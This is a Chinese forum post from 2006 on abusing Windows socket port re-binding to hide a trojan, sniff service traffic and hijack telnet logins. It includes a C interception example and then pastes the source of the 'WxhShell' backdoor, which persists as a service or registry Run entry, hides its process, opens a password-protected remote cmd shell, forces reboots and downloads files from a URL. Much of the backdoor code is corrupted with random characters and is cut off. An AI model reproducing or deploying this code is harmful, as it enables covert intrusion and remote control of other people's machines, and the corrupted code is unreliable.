[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; DR0W)K ^
if(chr[0]==0xd || chr[0]==0xa) { 8:&@MZQ&!
pwd=0; TVFGonVY
break; %okEN!=
} sa#"@j)
i++; NOS5bm&-
} @ ~sp:l
6PMu;#
// 如果是非法用户，关闭 socket y ph
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p[o2F5 T2
} #^v5Eo
3mJHk<m8T
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]owH [wvX
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A:NY:#uC
56bB~=c
while(1) { WJ.PPq>]F
X2e|[MWkp
ZeroMemory(cmd,KEY_BUFF); s{q2C}=$?D
Pdn.c1[-a
// 自动支持客户端 telnet标准 v;$^1I
j=0; nlmkkTHF8
while(j<KEY_BUFF) { I'@ }Yjm|
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @s IZ
cmd[j]=chr[0]; *Cb(4h-
if(chr[0]==0xa || chr[0]==0xd) { S&=B&23T
cmd[j]=0; !X.N$0
break; by06!-P0[
} _&z>Id`w
j++; sJ?kp^!g
} W"Rii]GK"
O.$<Bf9
// 下载文件 e.jgV=dT-
if(strstr(cmd,"http://")) { !J71[4t
send(wsh,msg_ws_down,strlen(msg_ws_down),0); p~mB;pZ%;
if(DownloadFile(cmd,wsh)) AjlG_F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); WWe.1A,
else Ka{IueSs
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R#ZDB]2
} Yj"UD:p
else { X! ]~]%K$y
wk/->Rz
switch(cmd[0]) { ry< P LRN
xxiLi46/
// 帮助 'RA[_Z
case '?': { e!-'O0-Kw
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HIU@m<
break; |-|BM'Y
} A|&EI-In
// 安装 VC+\RB#:-
case 'i': { ;|^fAc~9{r
if(Install()) *@ o3{0[Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @1+/r?b
else WIGb7}egR
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t!=S[
break; <7&b|f$CL
} k@Tt,.];
// 卸载 cnc$^[c
case 'r': { H{XW?O^@
if(Uninstall()) <h}?0NA4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5[R}MhLZ
else TB[vpTC9)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E7<:>Uh
break; `Q8D[
} Z kS*CG
// 显示 wxhshell 所在路径 Kq?7#,_
case 'p': { Qd./G5CC
char svExeFile[MAX_PATH]; hnZHu\EJ
strcpy(svExeFile,"\n\r"); |}}]&:w2
strcat(svExeFile,ExeFile); btYPp0o~
send(wsh,svExeFile,strlen(svExeFile),0); < 9MnQ*@
break; 9C.cz\E
} /f[_]LeV]
// 重启 8vRiVJ8QS:
case 'b': { lrE0)B5F
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M,@SUu v"
if(Boot(REBOOT)) O92Yd$S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !+6l.`2WI
else { 0%t|?@HoN
closesocket(wsh); xH0/R LK3J
ExitThread(0); xki"'
} FX^E |
break; xr/k.Fz
} TGNeEYr
// 关机 L$xRn/\
case 'd': { -Gpj^aBU
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Dk-L4FS
if(Boot(SHUTDOWN)) c`.:"i"k3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r&[~/m8zl
else { EyeLC6u
closesocket(wsh); T82_`u
ExitThread(0); YZ>cE#
} g)9/z
break; -0`hJ_(
} n`,Q:
// 获取shell kUt9'|9!
case 's': { m&q;.|W
CmdShell(wsh); hF~B&^dd.
closesocket(wsh); ]| yH8m
ExitThread(0); twtDyo(\
break; ,fw[J
} J]0#M:w&
// 退出 0- UeFy
case 'x': { {P-PH$ E-
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a)1,/:7'
CloseIt(wsh); b {5|2&=
break; r2th6hl~
} Lk9>7xY
// 离开 IO#W#wW$M
case 'q': { [UH5D~Yx
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,lnuu
closesocket(wsh); yFt7fdl2
WSACleanup(); DX";v J
exit(1); zEW:Xe)
break; fq|2E&&v
} _&/Zab5
} Z@ kC28
} mTfMuPPs[
uFm-HR@4
// 提示信息 "{_"NjH
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^H4iHjg
} A 5 X+Z
} 8j}m\^si
wM)w[
return; I[UA' ~f
} 7gwZ9Fob
fhmr*E'J
// shell模块句柄 -z$0S%2?
int CmdShell(SOCKET sock) .;b> T
{ uKy*N*}
STARTUPINFO si; =T)2wcXBB
ZeroMemory(&si,sizeof(si)); 6bNW1]rD
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,[\(U!Z7:%
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tZ^;{sM
PROCESS_INFORMATION ProcessInfo; aA`q!s.%A
char cmdline[]="cmd"; L{f>;[FR
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $kma#7
return 0; 7]%il[
} (;&?B.<\:
R3n&o%$*
// 自身启动模式 _,FoXf7
int StartFromService(void) ~8(X@~Tn*
{ nY9qYFw
typedef struct Nr9[Vz?$P
{ gKN_~{{OD
DWORD ExitStatus; b3xkJ&Z
DWORD PebBaseAddress; j/D)UWkR
DWORD AffinityMask; 8>Z$/1Mh
DWORD BasePriority; EcoUpiL%2
ULONG UniqueProcessId; ^P/D8cXa4
ULONG InheritedFromUniqueProcessId; b@/ON}gX
} PROCESS_BASIC_INFORMATION; cJEz>Z6[
dyzwJ70K
PROCNTQSIP NtQueryInformationProcess; 1gm/{w6O
O&w3@9KJ?
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l;*lPRoW,
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1bg@[YN!;
@$d\5Q(G
HANDLE hProcess; i\;&CzC:
PROCESS_BASIC_INFORMATION pbi; "g%:#'5
cqY.^f.
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xm|4\H&Bg
if(NULL == hInst ) return 0; yH%+cmp7
lE)rRG+JLW
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]HV~xD7\
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); eCIRt/ uA
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); npcBpGL{
D?}m h1#
if (!NtQueryInformationProcess) return 0; yvWzc uL#
0DB<hpC:5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BhW]Oq&
if(!hProcess) return 0; gAA %x7
;"Y;l=9_
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hlFU"u_
R}wwC[{
CloseHandle(hProcess); d Zz^9:C+
9/daRq$
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hcd>A vC8
if(hProcess==NULL) return 0; (1SO;8k\
_8li4;F
HMODULE hMod; 5**5b9bj-9
char procName[255]; d]ZC8<`w
unsigned long cbNeeded; h:jI
ZqbM%(=z(`
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1mn$Rh&dO
C}=_8N
CloseHandle(hProcess); h2|vB+W-
9U9c"'g
if(strstr(procName,"services")) return 1; // 以服务启动 V,XP&,no\j
Z#Zzi5<
return 0; // 注册表启动 4zqE?$HM'
} \kV7NA
uP{+?#a_-\
// 主模块 P}+|`>L
int StartWxhshell(LPSTR lpCmdLine) xUo)_P\_
{ ys[i`~$
SOCKET wsl; |<3Q+EB^
BOOL val=TRUE; k;fnC+Y$s
int port=0; *KjVPs
struct sockaddr_in door; J;=aIiN]R
I0l.KiBm
if(wscfg.ws_autoins) Install(); )/WA)fWkT
ccN&h
port=atoi(lpCmdLine); e,#+Xx0M
9SH<d)^
if(port<=0) port=wscfg.ws_port; Gp ^ owr
;h-G3>Il
WSADATA data; DtF![0w/
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =o{: -EKQF
0(9I\j5`TT
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ~e`;"n@4
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {7TJgS
door.sin_family = AF_INET; [Yx-l;78
door.sin_addr.s_addr = inet_addr("127.0.0.1"); >OKS/(I0
door.sin_port = htons(port); &FJU%tFA
}GNkB
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZaRr2Z:!
closesocket(wsl); o >Rw}R
return 1; t|#NMRz
} RRI>bh]
EAC(^+15K
if(listen(wsl,2) == INVALID_SOCKET) { uF]D
closesocket(wsl); #>E3'5b
return 1; J"D&q
} nXM9Px!
Wxhshell(wsl); lNh=>DPu
WSACleanup(); ]*g ss'N
A| gs Uh
return 0; !8 wid&
SA`J.4yn
} } `>J6y9
7dufY }}
// 以NT服务方式启动 S& ,Ju%
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =p,4=wo{
{ =0s`4Y"+
DWORD status = 0; *%Nns',
DWORD specificError = 0xfffffff; <nOuyGIZ
r?"}@MRW
serviceStatus.dwServiceType = SERVICE_WIN32; 1&8j3"
serviceStatus.dwCurrentState = SERVICE_START_PENDING; l${Hgn+
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h=v[i!U-eY
serviceStatus.dwWin32ExitCode = 0; [NCXn>Z
serviceStatus.dwServiceSpecificExitCode = 0; +eDN,iv
serviceStatus.dwCheckPoint = 0; s]F?=yEp
serviceStatus.dwWaitHint = 0; iJCY /*C}
[.#p
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f gK2.;>
if (hServiceStatusHandle==0) return; {p#l!P/
K)9j je
status = GetLastError(); H#kAm!H
if (status!=NO_ERROR) +Dq|l}
{ VGTeuu5i
serviceStatus.dwCurrentState = SERVICE_STOPPED; HC9vc,Fp
serviceStatus.dwCheckPoint = 0; M]6w^\4j9
serviceStatus.dwWaitHint = 0; c]%;^)
serviceStatus.dwWin32ExitCode = status; @o4z3Q@
serviceStatus.dwServiceSpecificExitCode = specificError; |iwM9oO%
SetServiceStatus(hServiceStatusHandle, &serviceStatus); %S >xSqX
return; _ bXVg3oDt
} k\mXo-:V6
xP{HjONu
serviceStatus.dwCurrentState = SERVICE_RUNNING; {*M>X}voS
serviceStatus.dwCheckPoint = 0; `eMrP`
serviceStatus.dwWaitHint = 0; 3ZW/$KP/
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nJldz;
} z^ aCQ3E
Y91 e1PsV
// 处理NT服务事件，比如：启动、停止 `zElBD
VOID WINAPI NTServiceHandler(DWORD fdwControl) ="5k\1W1M
{ abTDa6 /`v
switch(fdwControl) tAb;/tM3I
{ IL+#ynC
case SERVICE_CONTROL_STOP: d{iu+=NXz
serviceStatus.dwWin32ExitCode = 0; 7~!I2DV_
serviceStatus.dwCurrentState = SERVICE_STOPPED; ==-7F3QP
serviceStatus.dwCheckPoint = 0; =1{H Sf
serviceStatus.dwWaitHint = 0; 7X9+Qj;
{ $I)Tk`=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); V!pq,!C$v
} gD,YQ%aq
return; oglXW8
case SERVICE_CONTROL_PAUSE: ]/aRc=Gn
serviceStatus.dwCurrentState = SERVICE_PAUSED; "fX_gN?
break; ;_?zB NW
case SERVICE_CONTROL_CONTINUE: x"(7t3xK
serviceStatus.dwCurrentState = SERVICE_RUNNING; WX%h4)z*
break; mC*W2#1pF
case SERVICE_CONTROL_INTERROGATE: S F&M (=w<
break; /gqqKUx
}; ]Wy^VcqX
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [ -9)T
} V9+xL 1U#
=Q/w%8G
// 标准应用程序主函数 W;3 R;
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1?D8|<
{ "jl1.Ah
{&\J)oZ
// 获取操作系统版本 @K,2mhE~h
OsIsNt=GetOsVer(); pTa'.m
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5z9r S<
T!m42EvIvE
// 从命令行安装 $\0cJCQ3
if(strpbrk(lpCmdLine,"iI")) Install(); o-\ok|,)#j
VRtbHam
// 下载执行文件 &%|xc{i
if(wscfg.ws_downexe) { i>ESEmb-
